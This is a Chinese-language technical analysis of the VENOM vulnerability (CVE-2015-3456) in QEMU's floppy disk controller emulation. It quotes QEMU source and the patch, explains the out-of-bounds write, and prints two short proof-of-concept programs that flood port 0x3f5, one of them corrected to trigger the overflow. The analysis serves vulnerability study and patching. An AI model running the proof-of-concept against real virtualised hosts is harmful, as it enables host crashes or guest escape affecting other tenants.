CrowdStrike的Jason Geffner发现开源计算机仿真器QEMU中存在一个和虚拟软盘控制器相关的安全漏洞,代号VENOM,CVE编号为CVE-2015-3456。
利用此漏洞攻击者可以在有问题的虚拟机中进行逃逸,并且可以在宿主机中获得代码执行的权限。更多详情见作者博客[1]
“VENOM(CVE-2015-3456)是一个存在于虚拟软盘驱动器(FDC)代码中的安全漏洞,该代码存在于许多计算机虚拟化平台之中。该漏洞可允许攻击者从受感染虚拟机中摆脱访客身份限制,并很有可能获取主机的代码执行权限。此外,攻击者还可以利用它访问主机系统以及主机上运行的所有虚拟机,并能够进行提升重要的访问权限,以使得攻击者可以访问主机的本地网络和相邻系统。”
此漏洞位于qemu的虚拟软驱控制器的模拟代码中。下面介绍几个关于软驱的几个重要的地方。
软驱控制器是由9个寄存器进行控制的,这些寄存器可以通过端口0x3f0-0x3f7进行访问(0x3f6除外[2])。软驱控制器寄存器的定义如下:
漏洞相关的寄存器是DATA_FIFO。
同时软驱控制器的MSR标记位表明当时软驱控制器的状态。此次漏洞相关的MSR标记位的定义如下表:
命令是向DATA_FIFO写入的一个小于32的单字节的值,每个命令后面都要跟着一些指定长度的参数。命令的ID定义如下所示:
更多见OSDev wiki上的关于软驱控制器的文章
国外一名安全研究者Marcus Meissner发布了此漏洞poc如下:
#include <sys/io.h> #define FIFO 0x3f5 int main() { int i; iopl(3); outb(0x0a,0x3f5); /* READ ID */ for (i=0;i<10000000;i++) outb(0x42,0x3f5); /* push */ }
我们可以看到,都是向DATA_FIFO端口写入数据,笔者拿到poc先在自己的机器上测试发现poc并不能触发,先不管原因,我们先来分析下qemu对FIFO命令的处理。
经过分析,我们可以得出其流程如下:首先qemu将FIFO的处理函数以及命令对应的参数个数等信息存放在一个表中,如下所示:
1. static const struct { 2. uint8_t value; 3. uint8_t mask; 4. const char* name; 5. int parameters; 6. void (*handler)(FDCtrl *fdctrl, int direction); 7. int direction; 8. } handlers[] = { 9. { FD_CMD_READ, 0x1f, "READ", 8, fdctrl_start_transfer, FD_DI R_READ }, 10. { FD_CMD_WRITE, 0x3f, "WRITE", 8, fdctrl_start_transfer, FD_DI R_WRITE }, 11. { FD_CMD_SEEK, 0xff, "SEEK", 2, fdctrl_handle_seek }, 12. { FD_CMD_SENSE_INTERRUPT_STATUS, 0xff, "SENSE INTERRUPT STATU S", 0, fdctrl_handle_sense_interrupt_status }, 13. { FD_CMD_RECALIBRATE, 0xff, "RECALIBRATE", 1, fdctrl_handle_re calibrate }, 14. { FD_CMD_FORMAT_TRACK, 0xbf, "FORMAT TRACK", 5, fdctrl_handl e_format_track }, 15. { FD_CMD_READ_TRACK, 0xbf, "READ TRACK", 8, fdctrl_start_trans fer, FD_DIR_READ }, 16. { FD_CMD_RESTORE, 0xff, "RESTORE", 17, fdctrl_handle_restore }, /* part of READ DELETED DATA */ 17. { FD_CMD_SAVE, 0xff, "SAVE", 0, fdctrl_handle_save }, /* part of READ DELETED DATA */ 18. { FD_CMD_READ_DELETED, 0x1f, "READ DELETED DATA", 8, fdctrl_st art_transfer_del, FD_DIR_READ }, 19. { FD_CMD_SCAN_EQUAL, 0x1f, "SCAN EQUAL", 8, fdctrl_start_trans fer, FD_DIR_SCANE }, 20. { FD_CMD_VERIFY, 0x1f, "VERIFY", 8, fdctrl_start_transfer, F D_DIR_VERIFY }, 21. { FD_CMD_SCAN_LOW_OR_EQUAL, 0x1f, "SCAN LOW OR EQUAL", 8, fdct rl_start_transfer, FD_DIR_SCANL }, 22. { FD_CMD_SCAN_HIGH_OR_EQUAL, 0x1f, "SCAN HIGH OR EQUAL", 8, fd ctrl_start_transfer, FD_DIR_SCANH }, 23. { FD_CMD_WRITE_DELETED, 0x3f, "WRITE DELETED DATA", 8, fdctr l_start_transfer_del, FD_DIR_WRITE }, 24. { FD_CMD_READ_ID, 0xbf, "READ ID", 1, fdctrl_handle_readid }, 25. { FD_CMD_SPECIFY, 0xff, "SPECIFY", 2, fdctrl_handle_specify }, 26. { FD_CMD_SENSE_DRIVE_STATUS, 0xff, "SENSE DRIVE STATUS", 1, fd ctrl_handle_sense_drive_status }, 27. { FD_CMD_PERPENDICULAR_MODE, 0xff, "PERPENDICULAR MODE", 1, fd ctrl_handle_perpendicular_mode }, 28. { FD_CMD_CONFIGURE, 0xff, "CONFIGURE", 3, fdctrl_handle_config ure }, 29. { FD_CMD_POWERDOWN_MODE, 0xff, "POWERDOWN MODE", 2, fdctrl_han dle_powerdown_mode }, 30. { FD_CMD_OPTION, 0xff, "OPTION", 1, fdctrl_handle_option }, 31. { FD_CMD_DRIVE_SPECIFICATION_COMMAND, 0xff, "DRIVE SPECIFICATI ON COMMAND", 5, fdctrl_handle_drive_specification_command }, 32. { FD_CMD_RELATIVE_SEEK_OUT, 0xff, "RELATIVE SEEK OUT", 2, fdct rl_handle_relative_seek_out }, 33. { FD_CMD_FORMAT_AND_WRITE, 0xff, "FORMAT AND WRITE", 10, fdctr l_unimplemented }, 34. { FD_CMD_RELATIVE_SEEK_IN, 0xff, "RELATIVE SEEK IN", 2, fdctr l_handle_relative_seek_in }, 35. { FD_CMD_LOCK, 0x7f, "LOCK", 0, fdctrl_handle_lock }, 36. { FD_CMD_DUMPREG, 0xff, "DUMPREG", 0, fdctrl_handle_dumpreg }, 37. { FD_CMD_VERSION, 0xff, "VERSION", 0, fdctrl_handle_version }, 38. { FD_CMD_PART_ID, 0xff, "PART ID", 0, fdctrl_handle_partid }, 39. { FD_CMD_WRITE, 0x1f, "WRITE (BeOS)", 8, fdctrl_start_transfe r, FD_DIR_WRITE }, /* not in specification ; BeOS 4.5 bug */ 40. { 0, 0, "unknown", 0, fdctrl_unimplemented }, /* default handl er */ 41. };
1. static void fdctrl_write_data(FDCtrl *fdctrl, uint32_t value) 2. { 3. ... 4. 5. // 6. // 这里对msr的状态进行检查.见背景知识中的msr一段. 7. // 这里必须FD_MSR_RQM置位,就是说控制器已经准备好交换数据了 8. // FD_MSR_DIO必须置0,说明控制器不能处在要被读的状态 9. // 10. 11. if (!(fdctrl‐>msr & FD_MSR_RQM) || (fdctrl‐>msr & FD_MSR_DIO)) { 12. FLOPPY_DPRINTF("error: controller not ready for writin g\n"); 13. return; 14. } 15. 16. // 17. // 如果参数为0说明此次为命令字节。这里通过命令ID找到相应的 18. // Handler.获取参数的个数 19. // 20. 21. if (fdctrl‐>data_pos == 0) { 22. pos = command_to_handler[value & 0xff]; 23. FLOPPY_DPRINTF("%s command\n", handlers[pos].name); 24. 25. // 26. // 获取参数个数 27. // +1是为了加上command id 28. // 29. 30. fdctrl‐>data_len = handlers[pos].parameters + 1; 31. fdctrl‐>msr |= FD_MSR_CMDBUSY; 32. } 33. ... 34. 35. // 36. // 将传入字节保存到fdctrl‐>fifo这个buffer中. 37. // 38. 39. fdctrl‐>fifo[fdctrl‐>data_pos++] = value; 40. 41. // 42. // 判断参数是否已经保存完成,如果参数保存完成就调用相应的处理函数 43. // 44. 45. if (fdctrl‐>data_pos == fdctrl‐>data_len) { 46. pos = command_to_handler[fdctrl‐>fifo[0] & 0xff]; 47. (*handlers[pos].handler)(fdctrl, handlers[pos].direction); 48. } 49. }
在处理函数中如果有返回的数据。
控制器模拟代码则调用fdctrl_set_fifo这个函数来设置MSR的状态为FD_MSR_DIO,已表示控制器处在可被读状态。
注意:设置完以后控制器是不可读的见fdctrl_write_data开始的那个检查。
fdctrl_set_fifo代码如下:表的每一项都定义了相应命令的一些信息,这里我们将被一项称为一个Handler下同。
当qemu接收到FIFO命令之后,通过命令的ID找到这个命令的Handler,然后再根据这个Handler中保存的参数的个数来继续接收参数。并将命令ID和参数放在一个buffer中。在接受完参数后调用相应的处理函数。
整个FIFO写操作派发流程都是在函数fdctrl_write_data里。
如果没有要返回的数据或者返回的数据已经被客户机通过IN指令读取完了,则会调用fdctrl_reset_fifo来重置FIFO。
即将FIFO置为可写状态。fdctrl_reset_fifo:
通过以上流程的分析,我们再来看Marcus Meissner公布的poc的流程:
首先发送一个id为0xa的控制命令。我们可以看到id为0xa的命令为FD_CMD_READ_ID,其对应的处理函数为fdctrl_handle_readid,参数个数为1个。
{ FD_CMD_READ_ID, 0xbf, “READ ID”, 1, fdctrl_handle_readid },
之后又会写入一个0x42作为READ_ID命令的参数。接下来进入到fdctrl_handle_readid函数内。经过笔者调试fdctrl_handle_readid这个函数启动了一个定时器。在定时器被触发的时候程序调用了fdctrl_set_fifo来生成返回数据。所以接下来的向FIFO写0x42的操作完全没有用,被fdctrl_write_data开始的fdctrl->msr & FD_MSR_DIO这个检查给拦下了。所以这个poc在笔者的机器上并不能触发。
我们先来看下补丁的代码:
1. ‐‐‐ a/hw/block/fdc.c 2. +++ b/hw/block/fdc.c 3. @@ ‐1497,7 +1497,7 @@ static uint32_t fdctrl_read_data(FDCtrl *fdc trl) 4. { 5. FDrive *cur_drv; 6. uint32_t retval = 0; 7. ‐ int pos; 8. + uint32_t pos; 9. 10. cur_drv = get_cur_drv(fdctrl); 11. fdctrl‐>dsr &= ~FD_DSR_PWRDOWN; 12. @@ ‐1506,8 +1506,8 @@ static uint32_t fdctrl_read_data(FDCtrl *fdc trl) 13. return 0; 14. } 15. pos = fdctrl‐>data_pos; 16. + pos %= FD_SECTOR_LEN; 17. if (fdctrl‐>msr & FD_MSR_NONDMA) { 18. ‐ pos %= FD_SECTOR_LEN; 19. if (pos == 0) { 20. if (fdctrl‐>data_pos != 0) 21. if (!fdctrl_seek_to_next_sect(fdctrl, cur_drv)) { 22. @@ ‐1852,10 +1852,13 @@ static void fdctrl_handle_option(FDCtrl *f dctrl, int direction) 23. static void fdctrl_handle_drive_specification_command(FDCtrl *fdc trl, int direction) 24. { 25. FDrive *cur_drv = get_cur_drv(fdctrl); 26. + uint32_t pos; 27. 28. ‐ if (fdctrl‐>fifo[fdctrl‐>data_pos ‐ 1] & 0x80) { 29. + pos = fdctrl‐>data_pos ‐ 1; 30. + pos %= FD_SECTOR_LEN; 31. + if (fdctrl‐>fifo[pos] & 0x80) { 32. /* Command parameters done */ 33. ‐ if (fdctrl‐>fifo[fdctrl‐>data_pos ‐ 1] & 0x40) { 34. + if (fdctrl‐>fifo[pos] & 0x40) { 35. fdctrl‐>fifo[0] = fdctrl‐>fifo[1]; 36. fdctrl‐>fifo[2] = 0; 37. fdctrl‐>fifo[3] = 0; 38. @@ ‐1955,7 +1958,7 @@ static uint8_t command_to_handler[256]; 39. static void fdctrl_write_data(FDCtrl *fdctrl, uint32_t value) 40. { 41. FDrive *cur_drv; 42. ‐ int pos; 43. + uint32_t pos; 44. 45. /* Reset mode */ 46. if (!(fdctrl‐>dor & FD_DOR_nRESET)) { 47. @@ ‐2004,7 +2007,9 @@ static void fdctrl_write_data(FDCtrl *fdctr l, uint32_t value) 48. } 49. 50. FLOPPY_DPRINTF("%s: %02x\n", __func__, value); 51. ‐ fdctrl‐>fifo[fdctrl‐>data_pos++] = value; 52. + pos = fdctrl‐>data_pos++; 53. + pos %= FD_SECTOR_LEN; 54. + fdctrl‐>fifo[pos] = value; 55. if (fdctrl‐>data_pos == fdctrl‐>data_len) { 56. /* We now have all parameters 57. * and will be able to treat the command
{ FD_CMD_DRIVE_SPECIFICATION_COMMAND, 0xff, “DRIVE SPECIFICATION COMMAND”, 5, fdctrl_handle_drive_specification_command }可以看到基本上就是补了一些对fdctrl->fifo这个buffer下标的一些防止越界的操作。
我们可以肯定这个肯定是个写越界操作了。
按照这个思路我们查看了所有命令的处理函数,发现FD_CMD_DRIVE_SPECIFICATION_COMMAND的处理函数有问题。
先看下FD_CMD_DRIVE_SPECIFICATION_COMMAND命令的Handler,如下:
命令处理函数为fdctrl_handle_drive_specification_command,参数个数为5。
再来看下fdctrl_handle_drive_specification_command函数的实现:
我们找到fdctrl->data_len > 7这个判断是有问题的。
我们从fdctrl_write_data这个函数开始,首先传进命令字节FD_CMD_DRIVE_SPECIFICATION_COMMAND,然后依次传进5个参数。按照fdctrl_write_data的流程进入处理函数fdctrl_handle_drive_specification_command时fdctrl->data_len 应该是6,所以我们让fdctrl_handle_drive_specification_command的第一个判断里fdctrl->fifo[fdctrl->data_pos – 1]是我们可控的再加上下面的这个fdctrl->data_len > 7这个判断也为否,就绕过了所有调用fdctrl_set_fifo和fdctrl_reset_fifo的地方就是控制器的状态还是可写,而且buffer没有被清空。
然后我们就可以无限次向fdctrl->fifo里写入数据,从而超出fdctrl->fifo的边界造成越界写。
fdctrl->fifo的初始化是在fdctrl_realize_common里面:
static void fdctrl_realize_common(FDCtrl *fdctrl, Error **errp){ // // qemu_memalign最终会调用malloc分配内存 // fdctrl‐>fifo = qemu_memalign(512, FD_SECTOR_LEN); fdctrl‐>fifo_size = 512; }
#include <sys/io.h> #define FIFO 0x3f5 int main() { int i; iopl(3); outb(0x8e,0x3f5); /* READ ID */ for (i=0;i<10000000;i++) outb(0x42,0x3f5); /* push */ }
linux guest:
windows guest:
这个漏洞为典型的堆溢出漏洞,其表现形式为越界写操作。此漏洞的利用可能还是很大的。另外即使虚拟机没有设置软驱,其漏洞还是无法避免的。鉴于该漏洞属于高危漏洞,建议尽快在源码层面上对QEMU实现补丁升级。
[1]此漏洞原作者博客 http://venom.crowdstrike.com/
[2] IO端口0x3F6是ATA(硬盘)备用状态寄存器,并且不使用任何软盘控制器。
【原文:VENOM “毒液”漏洞分析(qemu kvm CVE‐2015‐3456) 作者:progmboy、noirfate、cyg07 安全脉搏TeacherYang整理发布】